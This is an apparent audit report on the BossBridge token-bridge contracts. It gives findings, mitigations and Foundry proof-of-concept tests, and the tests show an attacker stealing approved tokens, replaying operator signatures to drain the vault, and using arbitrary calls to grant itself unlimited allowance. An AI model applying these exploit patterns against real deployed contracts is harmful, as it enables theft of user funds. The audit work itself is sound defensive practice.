BossBridge Audit Report

October 25, 2025

Protocol Audit Report

Enchanted17

October 19, 2025

Prepared by: Enchanted17

Email: luo_dz@163.com

Table of Contents

    * [I-1] Uncahngable variables should be declared as constant or immutable
    * [I-2] Function should be declared as internal
    * [I-3] Missing event emission on token withdrawal

- Additional Recommendations & Code Quality Notes

Disclaimer

This audit does not guarantee the complete absence of vulnerabilities. The findings are based on the reviewed commit and the available information at the time of analysis. We recommend continuous testing and external review before deployment.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Audit Tools & Environment

- Static Analysis:slither, aderyn
- Fuzzing & Testing: Foundry
- Manual Review: VSCode + Hardhat console

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	0
Low	0
Info	3
Total	7

Findings

High

[H-1] User who who give tokens approvals may have those assest stolen

Description: The `L1BossBridge::depositTokensToL2()` function allows anyone to call it with a from address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the l2Recipient parameter).

Proof of Code:

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensFromOtherUser() public{
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);
```

```
4
5       address attacker = makeAddr("attacker");
6       address attackerInL2 = makeAddr("attackerInL2");
7       vm.startPrank(attacker);
8       uint256 amount = token.balanceOf(user);
9       vm.expectEmit(address(tokenBridge));
10      emit Deposit(user, attackerInL2, amount);
11      tokenBridge.depositTokensToL2(user, attackerInL2, amount);
12      vm.stopPrank();
13
14      assert(token.balanceOf(address(vault)) == amount);
15      assert(token.balanceOf(user) == 0);
16  }
```

Recommended Mitigation: Consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

```
1  - function depositTokensToL2(address from, address l2Recipient, uint256
       amount) external whenNotPaused {
2  + function depositTokensToL2(address l2Recipient, uint256 amount)
       external whenNotPaused {
3       if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4           revert L1BossBridge__DepositLimitReached();
5       }
6  -    token.transferFrom(from, address(vault), amount);
7  +    token.transferFrom(msg.sender, address(vault), amount);
8
9       // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
10 -    emit Deposit(from, l2Recipient, amount);
11 +    emit Deposit(msg.sender, l2Recipient, amount);
12 }
```

[H-2] Lack of replay protection allows withdrawals by signature to be replayed

Description: In `L1BossBridge::withdrawTokensToL1()`, users who want to withdraw tokens from the bridge can call the `sendToL1()` function, or the wrapper `withdrawTokensToL1()` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of code: As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1  function testSignatureReplay() public {
```

```
2       address attacker = makeAddr("attacker");
3       address attackerInL2 = makeAddr("attackerInL2");
4
5       uint256 attackerInitBalance = 1e18;
6       uint256 vaultInitBalance = 10e18;
7       deal(address(token), attacker, attackerInitBalance);
8       deal(address(token), address(vault), vaultInitBalance);
9
10      vm.startPrank(attacker);
11      token.approve(address(tokenBridge), type(uint256).max);
12      tokenBridge.depositTokensToL2(attacker, attackerInL2,
            attackerInitBalance);
13
14      (uint8 v, bytes32 r, bytes32 s) =
15          _signMessage(_getTokenWithdrawalMessage(attacker,
                attackerInitBalance), operator.key);
16
17      while(token.balanceOf(address(vault)) > 0) {
18          tokenBridge.withdrawTokensToL1(attacker, attackerInitBalance, v
                , r, s);
19      }
20
21      assert(token.balanceOf(address(vault)) == 0);
22      assert(token.balanceOf(attacker) == vaultInitBalance +
            attackerInitBalance);
23  }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-3] Allowing arbitrary calls enables users to give themselves infinite allowance of vault funds

Description: The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful

deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of code:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    bytes memory message = abi.encode(
        address(vault),
        0,
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
            uint256).max))
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
        key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).
        max);
    token.transferFrom(address(vault), attacker, token.balanceOf(
        address(vault)));
}
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-4] Incompatible contract creation on zkSync Era

Description: The `TokenFactory::deployToken()` function uses the EVM `CREATE` opcode via inline assembly to deploy new ERC20 contracts:

```
assembly {
    addr := create(0, add(contractBytecode, 0x20), mload(
        contractBytecode))
}
```

While this works correctly on Ethereum Mainnet (L1), the zkSync Era network does not support the `CREATE` or `CREATE2` opcodes. All contract deployments on zkSync must go through the `ContractDeployer` system contract to ensure compatibility with its zk-rollup architecture and

bytecode hash verification.

Impact: - The `TokenFactory` will revert when calling `deployToken()` on zkSync Era, making it impossible to deploy new ERC20 tokens on L2. - This effectively breaks cross-chain deployment consistency, since token deployment will succeed on L1 but fail on zkSync L2. - In production bridge setups, this would prevent users from minting or withdrawing tokens on zkSync.

Recommended Mitigation: Use zkSync's ContractDeployer system contract to deploy new contracts on L2. Example fix:

```
+ import { IContractDeployer, CONTRACT_DEPLOYER_SYSTEM_CONTRACT } from "@matterlabs/zksync-contracts/l2/system-contracts/ContractDeployer.sol";

function deployToken(string memory symbol, bytes memory contractBytecode)
    public
    onlyOwner
    returns (address addr)
{
-   assembly {
-       addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
-   }
+   if (block.chainid == 324) { // zkSync Era chain ID
+       IContractDeployer deployer = IContractDeployer(CONTRACT_DEPLOYER_SYSTEM_CONTRACT);
+       addr = deployer.create(0, contractBytecode, "");
+   } else {
+       assembly {
+           addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
+       }
+   }

    require(addr != address(0), "Token deploy failed");
    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```

Medium

Low

Information

[I-1] Uncahngable variables should be declared as constant or immutable

Description: The following variables are never modified after deployment: 1. `L1BossBridge::DEPOSIT_LIMIT` — fixed deposit limit. 2. `L1Vault::token` — token address assigned once during construction.

Impact: Storing such values in storage leads to unnecessary gas consumption when reading them, since SLOAD operations are more expensive than accessing constant or immutable variables.

Recommended Mitigation: Mark these variables as constant or immutable to reduce gas costs and improve clarity.

```
1 //file L1BossBridge.sol
2 -   uint256 public DEPOSIT_LIMIT = 100_000 ether;
3 +   uint256 constant DEPOSIT_LIMIT = 100_000 ether;
4
5 // file L1Vault.sol
6 -    IERC20 public token;
7 +    IERC20 immutable token;
```

[I-2] Function should be declared as internal

Description: `L1BossBridge::sendToL1()` only called in `withdrawTokensToL1()`, should declared as `internal` to prevent malicious user to called this function with evil message.

Recommended Mitigation:

```
1 -   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
      message) public nonReentrant whenNotPaused {
2 +   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
      message) internal nonReentrant whenNotPaused {
```

[I-3] Missing event emission on token withdrawal

Description: The function `L1BossBridge::withdrawTokensToL1()` performs a token withdrawal from L2 to L1 by calling `sendToL1()`, which triggers a cross-chain message execution. However, the function does not emit any event when a withdrawal occurs.

Without an event, off-chain indexers, bridges, or monitoring services have no reliable way to detect or verify when a withdrawal has been initiated. This reduces the auditability and transparency of bridge activity and may cause synchronization issues between L1 and L2.

Impact: - Lack of on-chain traceability for user withdrawals. - Off-chain relayers or monitoring systems cannot automatically detect when users initiate withdrawals. - Reduces security visibility and may cause discrepancies between L1 and L2 token balances. - In extreme cases, users may not be able to prove a withdrawal occurred if a transaction is lost or delayed cross-chain.

Recommended Mitigation: Emit an event whenever a token withdrawal to L1 is initiated. This allows off-chain components and auditors to track all withdrawals easily.

Additional Recommendations & Code Quality Notes

- Improve test coverage. Aim to get test coverage up to over 90% for all files.